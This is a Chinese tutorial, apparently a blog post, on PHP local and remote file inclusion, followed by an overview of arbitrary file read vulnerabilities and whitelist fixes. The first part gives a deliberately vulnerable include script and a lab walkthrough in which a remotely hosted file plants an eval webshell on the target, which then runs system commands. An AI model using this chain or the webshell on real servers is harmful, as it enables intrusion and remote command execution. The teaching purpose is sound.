文件包含漏洞-基本原理

文件包含漏洞

文件包含漏洞其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行。

有时候由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞

一、本地文件包含

本地文件包含指的是能够打开并包含本地文件的漏洞

1.利用条件

php.ini中allow_url_fopen = on (默认开启)

用户参数可控且没有进行过滤

2.代码示例
# 存在漏洞的php站点示例
<?php

$filename = $_GET['filename'];
include $filename;

echo "<hr>hello,world.";

?>
# 漏洞利用示例

http://localhost/learn/fileinc.php?filename=c:\users\administrator\desktop\test.txt

image-20230424083237668

*由于include等文件包含函数的特性,可以读取任何有权限的文件,或者执行恶意脚本。

二、远程文件包含
1.利用条件

php.ini中allow_url_fopen = on(默认开启) 和 allow_url_include = on (默认关闭)

用户参数可控且没有进行过滤

image-20230424090029057

2.代码示例

创建shell.php,用于漏洞利用执行

<?php

$code = $_GET['code'];
eval($code);

?>
# 漏洞利用
http://localhost/learn/fileinc.php?filename=http://192.168.30.103/security/shell.php?code=phpinfo();

image-20230424135432354

注意:这里发现显示的信息是本地主机的而不是靶机的,因为php脚本被本地执行了

因此需要更改包含的文件类型,不能是php文件,同时参数需要将“?”更改为“&”

http://localhost/learn/fileinc.php?filename=http://192.168.30.103/security/shell.txt&code=phpinfo();

image-20230424135509570

可以看到这样显示的才是存在漏洞的主机的信息

include或者其他文件包含函数可以包含非php文件,若内容为有效的php代码,则会被执行。

3.漏洞利用实验

①将shell.txt写入一句话

<?php 
    file_put_contents('temp/shell.php', '<?php @eval($_GET['code']); ?>'); 
?>

②远程主机包含shell.txt

http://192.168.30.1/learn/fileinc.php?filename=http://192.168.30.103/security/shell.txt

③成功在远程主机写入php木马后进行利用

http://192.168.30.1/learn/temp/shell.php?code=system('ipconfig');
### 任意文件读取漏洞概述 任意文件读取漏洞(Arbitrary File Read Vulnerability)是一种常见的Web应用程序安全漏洞,攻击者可以利用该漏洞访问服务器上的任意文件,包括系统文件、配置文件、数据库凭证等敏感信息。这类漏洞通常由于应用程序在处理用户输入时未进行充分的验证和过滤,导致攻击者可以通过构造特殊请求来绕过安全机制。 ### 漏洞原理 任意文件读取漏洞的核心原理在于应用程序对用户输入的路径参数缺乏严格的校验。例如,在URL中传递文件路径作为参数时,如果未对路径进行规范化处理或限制访问范围,攻击者可能通过构造类似`../`的路径遍历符号来访问上级目录中的文件。此外,某些应用可能会直接将用户输入拼接到文件路径中,而没有进行任何检查,这也为攻击者提供了可乘之机。 ### 利用方式 攻击者通常会通过以下几种方式来利用任意文件读取漏洞: 1. **路径遍历**:通过构造包含`../`的路径,尝试访问受限目录下的文件。例如,`/arcgis/manager/3370/js/../WEB-INF/web.xml`[^1]。 2. **本地文件包含(LFI)**:某些情况下,应用程序可能会动态包含本地文件,攻击者可以通过修改参数来包含并读取任意文件。 3. **远程文件包含(RFI)**:虽然不如LFI常见,但在某些配置不当的情况下,攻击者可能通过指定外部URL来引入恶意文件。 ### 危害与影响 任意文件读取漏洞的危害非常严重,主要包括以下几个方面: - **泄露敏感信息**:攻击者可以读取服务器上的配置文件、数据库连接字符串、密码文件等敏感数据,进而获取系统的控制权。 - **进一步渗透**:一旦获得系统内部的信息,攻击者可以利用这些信息发起更深层次的攻击,如SQL注入、命令执行等。 - **服务中断**:攻击者还可能通过读取关键系统文件而导致服务异常或崩溃,造成拒绝服务(DoS)攻击。 ### 修复方案 为了有效防范任意文件读取漏洞,建议采取以下措施: 1. **输入验证**:对所有来自用户的输入进行严格的验证,确保其符合预期格式。特别是对于文件路径相关的参数,应禁止使用特殊字符如`../`等。 2. **最小权限原则**:确保Web服务器和应用程序以最低必要权限运行,减少潜在风险。 3. **白名单机制**:对于需要访问特定文件的应用逻辑,采用白名单机制,仅允许访问预定义的安全路径。 4. **日志监控与告警**:定期审查服务器日志,发现异常访问行为及时响应,并设置相应的告警机制。 5. **更新与补丁管理**:保持软件版本的最新状态,及时安装官方发布的安全补丁。 ### 示例代码:防止任意文件读取 下面是一个简单的PHP示例,展示如何防止任意文件读取漏洞: ```php <?php // 定义允许访问的文件列表 $allowed_files = ['index.html', 'about.html', 'contact.html']; // 获取用户请求的文件名 $file = isset($_GET['file']) ? $_GET['file'] : ''; // 检查文件是否存在于白名单中 if (in_array($file, $allowed_files)) { // 文件存在白名单中,允许读取 readfile("files/" . $file); } else { // 文件不在白名单中,返回错误信息 http_response_code(403); echo "Forbidden"; } ?> ``` 上述代码通过定义一个白名单数组`$allowed_files`,并在处理用户请求之前对其进行检查,从而有效地阻止了非法文件访问。 ---
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值